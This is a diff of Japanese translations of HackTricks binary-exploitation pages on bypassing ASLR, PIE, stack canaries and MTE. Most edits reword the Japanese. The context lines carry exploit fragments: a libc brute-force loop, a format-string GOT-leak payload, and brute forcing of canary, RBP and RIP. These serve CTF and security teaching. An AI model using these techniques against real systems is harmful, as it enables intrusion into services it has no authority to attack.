オーバーフローがそれほど大きくなく、攻撃をローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加**することも可能です。 * 攻撃がローカルである場合、libcのベースアドレスをブルートフォースすることができます(32ビットシステム向けに有用)。 ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**ブルートフォース**して、引数として10を渡すことができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました。 +* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**ブルートフォース**して、引数として10を渡すことができます。サーバーが**応答に10秒追加でかかる**場合、この関数のアドレスを見つけました。 {% hint style="success" %} -64ビットシステムではエントロピーが高く、これは不可能です。 +64ビットシステムではエントロピーが高く、これは可能ではありません。 {% endhint %} ### 64ビットスタックのブルートフォース 環境変数でスタックの大部分を占有し、その後バイナリを何百回/何千回もローカルで悪用しようとすることが可能です。\ -次のコードは、**スタック内のアドレスを選択するだけ**で、**数百回の実行ごとにそのアドレスには**NOP命令が含まれる可能性があることを示しています: +次のコードは、**スタック内のアドレスを選択するだけ**で、**数百回の実行ごとにそのアドレスには**NOP命令が含まれることを示しています: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include @@ -154,7 +154,7 @@ print(e) print(traceback.format_exc()) pass ``` -
+
### ローカル情報 (`/proc/[pid]/stat`) @@ -167,17 +167,17 @@ pass * **arg\_start** & **arg\_end**: **cli引数**がある上と下のアドレス * **env\_start** & **env\_end**: **環境変数**がある上と下のアドレス -したがって、攻撃者が悪用されるバイナリと同じコンピュータにいて、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読んだ後に作成できる異なる**入力からオーバーフローが発生する場合**、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからオフセットを構築することが可能です。 +したがって、攻撃者が悪用されるバイナリと同じコンピュータにいて、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読んだ後に作成できる異なる**入力からオーバーフローが発生する可能性がある**場合、攻撃者は**このファイルからいくつかのアドレスを取得し、それらからオフセットを構築することができます**。 {% hint style="success" %} -このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) で `/proc/pid/stat` を検索して確認してください。 +このファイルに関する詳細情報は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) で `/proc/pid/stat` を検索して確認してください。 {% endhint %} ### リークがある場合 * **課題はリークを提供することです** -リークが与えられた場合(簡単なCTF課題)、それからオフセットを計算することができます(たとえば、悪用されているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、[**こちらの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抜粋されています(詳細についてはそのページを確認してください)。 +リークが与えられた場合(簡単なCTF課題)、それからオフセットを計算することができます(たとえば、悪用されているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抜粋されています(詳細についてはそのページを確認してください)。 ```python from pwn import * @@ -204,7 +204,7 @@ p.interactive() ``` * **ret2plt** -バッファオーバーフローを悪用することで、**ret2plt** を悪用して、libc から関数のアドレスを外部に送信することが可能です。次を確認してください: +バッファオーバーフローを悪用することで、**ret2plt** を悪用して、libc から関数のアドレスを外部に送信することが可能になります。次を確認してください: {% content-ref url="ret2plt.md" %} [ret2plt.md](ret2plt.md) @@ -212,7 +212,7 @@ p.interactive() * **Format Strings Arbitrary Read** -ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、**GOT から libc 関数のアドレスを外部に送信することが可能**です。次の[**例はこちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): +ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、**libc 関数** のアドレスを GOT から外部に送信することが可能です。次の[**例はこちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -223,7 +223,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` -以下は、Format Strings arbitrary readに関する詳細情報を見つけることができます: +以下は、フォーマット文字列の任意読み取りに関する詳細情報を見つけることができます: {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) @@ -239,12 +239,12 @@ payload += p32(elf.symbols['main']) ### vsyscall -**`vsyscall`**メカニズムは、特定のシステムコールをユーザースペースで実行することでパフォーマンスを向上させるために役立ちますが、これらは基本的にカーネルの一部です。**vsyscalls**の重要な利点は、**ASLR**(アドレス空間配置ランダム化)の対象外である**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、それらをエクスプロイトで使用するために情報漏洩の脆弱性を必要としません。\ -ただし、ここでは非常に興味深いガジェットは見つかりません(たとえば、`ret;`相当のものを取得することが可能です) +**`vsyscall`** メカニズムは、特定のシステムコールをユーザースペースで実行することでパフォーマンスを向上させるために役立ちますが、これらは基本的にカーネルの一部です。 **vsyscalls** の重要な利点は、**ASLR**(アドレス空間配置ランダム化)の対象とならない**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、それらをエクスプロイトで使用するための情報リークの脆弱性を必要としません。\ +ただし、ここでは非常に興味深いガジェットは見つかりません(たとえば、`ret;` の等価物を取得することは可能です) (次の例とコードは[**この解説から**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)です) -たとえば、攻撃者はエクスプロイト内でアドレス`0xffffffffff600800`を使用するかもしれません。`ret`命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定化やクラッシュが発生する可能性がありますが、**vsyscall**セクションで提供される`syscall`の開始地点にジャンプすることで成功する可能性があります。この**vsyscall**アドレスに実行を導く**ROP**ガジェットを注意深く配置することで、攻撃者はこのエクスプロイトの一部の**ASLR**をバイパスする必要なしにコード実行を達成できます。 +たとえば、攻撃者はエクスプロイト内でアドレス `0xffffffffff600800` を使用するかもしれません。`ret` 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定化やクラッシュが発生する可能性がありますが、**vsyscall** セクションで提供される `syscall` の開始地点にジャンプすることで成功する可能性があります。この **vsyscall** アドレスに実行を導く **ROP** ガジェットを注意深く配置することで、攻撃者はこのエクスプロイトの一部の **ASLR** をバイパスする必要なしにコード実行を達成できます。 ``` ef➤ vmmap Start End Offset Perm Path @@ -287,7 +287,7 @@ gef➤ x/4i 0xffffffffff600800 ``` ### vDSO -したがって、カーネルがCONFIG\_COMPAT\_VDSOでコンパイルされている場合、vdsoアドレスはランダム化されないため、**vdsoを悪用してASLRをバイパスする可能性がある**ことに注意してください。詳細については、次を確認してください: +したがって、カーネルがCONFIG\_COMPAT\_VDSOでコンパイルされている場合、**vdsoを悪用してASLRをバイパスする可能性がある**ことに注意してください。vdsoアドレスはランダム化されません。詳細については、次を確認してください: {% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} [ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md) diff --git a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index b19347310..a3707ae42 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -6,25 +6,25 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください** ## 基本情報 -**メモリタギング拡張(MTE)**は、**バッファオーバーフロー**や**解放後に使用**される脆弱性などの**メモリ関連エラーを検出および防止**することで、ソフトウェアの信頼性とセキュリティを向上させるために設計されています。**ARM**アーキテクチャの一部であるMTEは、**各メモリ割り当てに小さなタグを添付**し、そのメモリを参照する**各ポインタに対応するタグ**を提供します。このアプローチにより、実行時に不正なメモリアクセスを検出し、そのような脆弱性を悪用して任意のコードを実行するリスクを大幅に低減できます。 +**メモリタギング拡張(MTE)**は、**バッファオーバーフロー**や**解放後に使用**される脆弱性などの**メモリ関連エラーを検出および防止**することで、ソフトウェアの信頼性とセキュリティを向上させるよう設計されています。MTEは**ARM**アーキテクチャの一部として、**各メモリ割り当てに小さなタグを添付**し、そのメモリを参照する**各ポインタに対応するタグ**を提供します。このアプローチにより、実行時に不正なメモリアクセスを検出し、これらの脆弱性を悪用して任意のコードを実行するリスクを大幅に低減できます。 -### **メモリタギング拡張の動作** +### **メモリタギング拡張の動作方法** MTEは、**メモリを小さな固定サイズのブロックに分割**し、通常は数ビットの**タグを割り当てる**ことによって動作します。 -メモリを指すポインタが作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビット**に格納され、効果的にポインタを対応するメモリブロックにリンクします。 +ポインタがそのメモリを指すように作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビットに格納**され、効果的にポインタを対応するメモリブロックにリンクします。 -

https://www.youtube.com/watch?v=UwMt0e_dC_Q

+

https://www.youtube.com/watch?v=UwMt0e_dC_Q

プログラムがポインタを介してメモリにアクセスすると、MTEハードウェアは**ポインタのタグがメモリブロックのタグと一致するかどうか**をチェックします。タグが**一致しない**場合、不正なメモリアクセスを示します。 @@ -32,7 +32,7 @@ MTEは、**メモリを小さな固定サイズのブロックに分割**し、 ポインタ内のタグは、トップバイト内の4ビットに格納されます: -

https://www.youtube.com/watch?v=UwMt0e_dC_Q

+

https://www.youtube.com/watch?v=UwMt0e_dC_Q

したがって、これにより最大**16種類の異なるタグ値**が可能となります。 @@ -40,7 +40,7 @@ MTEは、**メモリを小さな固定サイズのブロックに分割**し、 **物理メモリの16Bごと**に対応する**メモリタグ**があります。 -メモリタグは、**通常の使用ではアクセスできない専用のRAM領域**に格納されています。16Bメモリタグごとに4ビットのタグを持つことで、RAMの3%まで可能です。 +メモリタグは、**専用のRAM領域**に格納されています(通常の使用ではアクセスできません)。16Bメモリタグごとに4ビットのタグを持つことで、RAMの3%まで可能です。 ARMは、これらのタグを専用のRAMメモリで操作するために次の命令を導入しています: ``` @@ -54,7 +54,7 @@ IRG , Insert Random [pointer] Tag ### Sync CPUは**命令の実行中に**タグをチェックし、不一致があると例外を発生させます。\ -これは最も遅く、最も安全です。 +これは最も遅くて最も安全です。 ### Async @@ -67,15 +67,15 @@ CPUは**非同期的に**タグをチェックし、不一致が見つかると ## 実装と検出の例 ハードウェアタグベースのKASAN、MTEベースのKASAN、またはカーネル内MTEと呼ばれます。\ -カーネルアロケータ(`kmalloc`など)は**このモジュールを呼び出し**、使用するタグを準備し(ランダムに)、それをカーネルスペースに割り当てられた領域と返されたポインタにアタッチします。 +カーネルアロケータ(`kmalloc`など)は、**このモジュールを呼び出し**、使用するタグを準備し(ランダムに)、カーネルスペースに割り当てられたメモリにそれをアタッチし、返されたポインタにそれをアタッチします。 -要求されたサイズに十分なメモリグラニュール(それぞれ16B)だけを**マーク**します。したがって、要求されたサイズが35で60Bのスラブが与えられた場合、最初の16\*3 = 48Bをこのタグでマークし、**残り**はいわゆる**無効なタグ(0xE)**で**マーク**されます。 +要求されたサイズに十分なメモリグラニュール(それぞれ16B)だけを**マーク**します。したがって、要求されたサイズが35で、60Bのスラブが与えられた場合、最初の16\*3 = 48Bをこのタグでマークし、**残り**は**無効なタグ(0xEと呼ばれる)**で**マーク**されます。 -タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリには、そのメモリにアクセスするために**任意のタグを使用**できます(不一致が発生しません)。これにより、攻撃が検出されない可能性があります。 +タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリには、そのメモリにアクセスするために**任意のタグを使用**できます(不一致がありません)。これにより、攻撃が検出されない可能性があります。 -したがって、0xEと0xFが予約されているため、タグを生成するために使用できる**値は14個だけ**であり、タグを**再利用**する確率は1/17 -> 約**7%**です。 +したがって、0xEと0xFを予約しているため、タグを生成するために使用できる**値は14個だけ**です。再利用されるタグの確率は1/17 -> 約**7%**です。 -カーネルが**無効なタグのグラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスする場合、そのメモリに異なるタグ(または無効なタグ)がある場合、不一致が**検出**されます。攻撃者が幸運でメモリが同じタグを使用している場合、検出されません。確率は約7%です。 +カーネルが**無効なタグのグラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスする場合、メモリに**異なるタグ**(または無効なタグ)がある場合、不一致が**検出**されます。攻撃者が幸運でメモリが同じタグを使用している場合、検出されません。確率は約7%です。 もう1つのバグは、割り当てられたメモリの**最後のグラニュール**で発生します。アプリケーションが35Bを要求した場合、32から48までのグラニュールが与えられます。したがって、36から47までのバイトは同じタグを使用していますが、要求されていません。攻撃者が**これらの余分なバイトにアクセスすると、これは検出されません**。 @@ -85,8 +85,8 @@ CPUは**非同期的に**タグをチェックし、不一致が見つかると さらに、**`slab`と`page_alloc`**のみがタグ付きメモリを使用しますが、将来的には`vmalloc`、`stack`、`globals`でも使用される予定です(ビデオの時点ではこれらはまだ悪用される可能性があります)。 -**不一致が検出**されると、カーネルは**パニック**して、さらなる悪用や攻撃の再試行を防ぎます(MTEには誤検知がありません)。 +**不一致が検出**されると、カーネルは**パニック**を起こして、さらなる悪用や攻撃の再試行を防ぎます(MTEには誤検知がありません)。 -## 参考文猿 +## 参考文献 * [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q) diff --git a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index e44d18952..3de7b33e1 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -6,33 +6,33 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。 -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。 -**キャナリーとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。** +**キャナリとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。** -![](<../../../.gitbook/assets/image (862).png>) +![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} -**`checksec`** は、バイナリが静的にコンパイルされており、関数を識別することができない場合、バイナリがキャナリーで保護されていることを見つけることができないかもしれません。\ +**`checksec`** は、バイナリが静的にコンパイルされており、関数を識別することができない場合、バイナリがキャナリで保護されていることを見つけることができないかもしれません。\ ただし、関数呼び出しの開始時にスタックに値が保存され、この値が終了前にチェックされる場合、これを手動で気付くことができます。 {% endhint %} ## アドレスのブルートフォース **PIEをバイパス**するためには、**いくつかのアドレスをリークする必要があります**。バイナリがアドレスをリークしていない場合、**脆弱な関数内のスタックに保存されたRBPとRIPをブルートフォースする**のが最善です。\ -たとえば、バイナリが**キャナリー**と**PIE**の両方を使用して保護されている場合、まずキャナリーをブルートフォースし、次に**次の**8バイト(x64)が保存された**RBP**であり、**次の**8バイトが保存された**RIP**になります。 +たとえば、バイナリが**キャナリ**と**PIE**の両方を使用して保護されている場合、まずキャナリをブルートフォースし、次の8バイト(x64)が保存された**RBP**であり、次の8バイトが保存された**RIP**になります。 {% hint style="success" %} スタック内のリターンアドレスがメインバイナリコードに属していると仮定されており、脆弱性がバイナリコードにある場合は通常そのようなケースになります。 {% endhint %} -バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するか、クラッシュしない場合に有効な推測されたバイトであることがわかります。キャナリーをブルートフォースするために提供された関数と**同じ関数**を使用して、RBPとRIPをブルートフォースすることができます。 +バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するかクラッシュしない場合、有効な推測されたバイトが正しいことがわかります。キャナリをブルートフォースするために提供された関数と**同じ関数**を使用して、RBPとRIPをブルートフォースすることができます。 ```python from pwn import * @@ -82,14 +82,14 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` 最後に、PIEを打破するために必要なのは、漏洩したアドレスから**有用なアドレスを計算する**ことです:**RBP**と**RIP**。 -**RBP**からは、**スタック内にシェルを書き込んでいる場所を計算**することができます。これは、スタック内に文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、漏洩したRBPの後に**ブレークポイントを設定**して、**シェルコードがどこにあるかを確認**し、その後、シェルコードとRBPの間の距離を計算できます: +**RBP**からは、**スタック内にシェルを書き込んでいる場所を計算**することができます。これは、スタック内に文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとあなたのシェルコードの間の距離を計算するには、漏洩したRBPの後に**ブレークポイントを設定**して、**シェルコードがどこにあるかを確認**し、その後、シェルコードとRBPの間の距離を計算できます: ```python INI_SHELLCODE = RBP - 1152 ``` -**RIP**から、**PIEバイナリのベースアドレス**を計算できます。これは、**有効なROPチェーンを作成するために必要**になります。\ -ベースアドレスを計算するには、単に`objdump -d vunbinary`を実行し、最新のアドレスを逆アセンブルして確認します: +**RIP**からは、**PIEバイナリのベースアドレス**を計算できます。これは、**有効なROPチェーン**を作成するために必要になります。\ +ベースアドレスを計算するには、単に`objdump -d vunbinary`を実行し、最新のアドレスを逐次進行してください: -![](<../../../.gitbook/assets/image (476).png>) +![](<../../../.gitbook/assets/image (479).png>) この例では、すべてのコードを特定するのに**1バイトと半分だけが必要**であることがわかります。したがって、この状況では、ベースアドレスは**"000"で終わるリークしたRIP**になります。たとえば、`0x562002970ecf`がリークした場合、ベースアドレスは`0x562002970000`になります。 ```python @@ -97,20 +97,6 @@ elf.address = RIP - (RIP & 0xfff) ``` ## 改善 -[**この投稿からのいくつかの観察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) によると、RBP と RIP の値が漏洩するとき、サーバーは正しい値でないいくつかの値でクラッシュせず、BF スクリプトは正しい値を取得したと思うかもしれません。これは、**正確な値でなくても、いくつかのアドレスがそれを壊すことが可能**だからです。 +[**この投稿からのいくつかの観察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) によると、RBP と RIP の値を漏洩させる際、サーバーは正しい値でないいくつかの値でクラッシュせず、BF スクリプトは正しい値を取得したと思うかもしれません。これは、**正確な値でなくても、いくつかのアドレスがそれを壊すことが可能**だからです。 そのブログ投稿によると、サーバーへのリクエスト間に短い遅延を導入することが推奨されています。 - -
- -htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ - -HackTricks をサポートする他の方法: - -* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。 -* **ハッキングトリックを共有するために PR を** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **の GitHub リポジトリに提出する。** - -
diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 12deb53c3..f8a471ad1 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -4,19 +4,19 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** **キャナリーとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、おそらくそれらをバイパスする方法を見つける必要があります。** -![](<../../../.gitbook/assets/image (862).png>) +![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} **`checksec`** がバイナリがキャナリーで保護されていることを見つけられない場合があることに注意してください。これは静的にコンパイルされており、関数を識別することができない場合です。\ @@ -27,7 +27,7 @@ HackTricksをサポートする他の方法: 単純なキャナリーをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**(ネットワークサービス)である場合です。なぜなら、接続するたびに**同じキャナリーが使用される**からです。 -そのため、キャナリーをバイパスする最良の方法は、単に**1文字ずつキャナリーをブルートフォースする**ことであり、推測されたキャナリーバイトが正しいかどうかを確認するために、プログラムがクラッシュしたかどうか、または通常のフローが続行されたかどうかをチェックできます。この例では、関数は**8バイトのキャナリー(x64)**をブルートフォースし、正しく推測されたバイトと誤ったバイトを区別するために、サーバーから**応答**が返されたかどうかを**チェック**します(他の状況では**try/except**を使用することもできます)。 +そのため、キャナリーをバイパスする最良の方法は、単に**1文字ずつキャナリーをブルートフォースする**ことであり、推測されたキャナリーバイトが正しいかどうかを確認することができます。これは、プログラムがクラッシュしたかどうか、または通常のフローが続行されたかどうかを**確認する**ことによって行います。この例では、関数は**8バイトのキャナリー(x64)**をブルートフォースし、正しく推測されたバイトと誤ったバイトを区別します。別の状況では、**try/except**を使用することもできます。 ### 例1 @@ -118,13 +118,13 @@ log.info(f"The canary is: {canary}") 同じプロセスのスレッドは**同じキャナリートークンを共有**するため、バイナリが攻撃が発生するたびに新しいスレッドを生成すると、キャナリーを**ブルートフォース**することが可能になります。 -さらに、キャナリーで保護されたスレッド関数内のバッファ**オーバーフロー**を使用して、TLSに格納されているマスターキャナリーを**変更**することができます。これは、スレッドのスタック内の**bof**を介してTLSが格納されているメモリ位置に到達する可能性があるためです。\ -その結果、チェックが2つの同じ(ただし変更された)キャナリーで使用されるため、対策は無効になります。\ -この攻撃は、次の解説で実行されます:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +さらに、キャナリーで保護された**スレッド関数内のバッファオーバーフロー**は、TLSに格納されているマスターキャナリーを**変更**するために使用できます。これは、スレッドのスタック内の**bof**を介してTLSが格納されているメモリ位置に到達する可能性があるためです。\ +その結果、チェックが2つの同じキャナリーで使用されるため、対策は無効になります(変更されていても)。\ +この攻撃は、次の解説で実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -また、[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションもチェックしてください。通常、**TLS**は**`mmap`**によって格納され、**スレッド**の**スタック**が作成されるときにも`mmap`によって生成されると述べており、前述の解説に示されているようにオーバーフローを許可する可能性があります。 +また、[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションもチェックしてください。通常、**TLS**は**`mmap`**によって格納され、**スレッド**の**スタック**が作成されるときも、これによって生成されると述べており、前述の解説に示されているようにオーバーフローが可能になるかもしれません。 -## その他の例と参考文献 +## その他の例と参照 * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * 64ビット、PIEなし、nx、BFキャナリー、一部のメモリに`execve`を呼び出すROPを書き込み、そこにジャンプします。 diff --git a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 8e13a0e35..7099db8b7 100644 --- a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,20 +1,58 @@ -# フォーマット文字列 - 任意の読み取り例 +# フォーマット文字列 - 任意読み取りの例
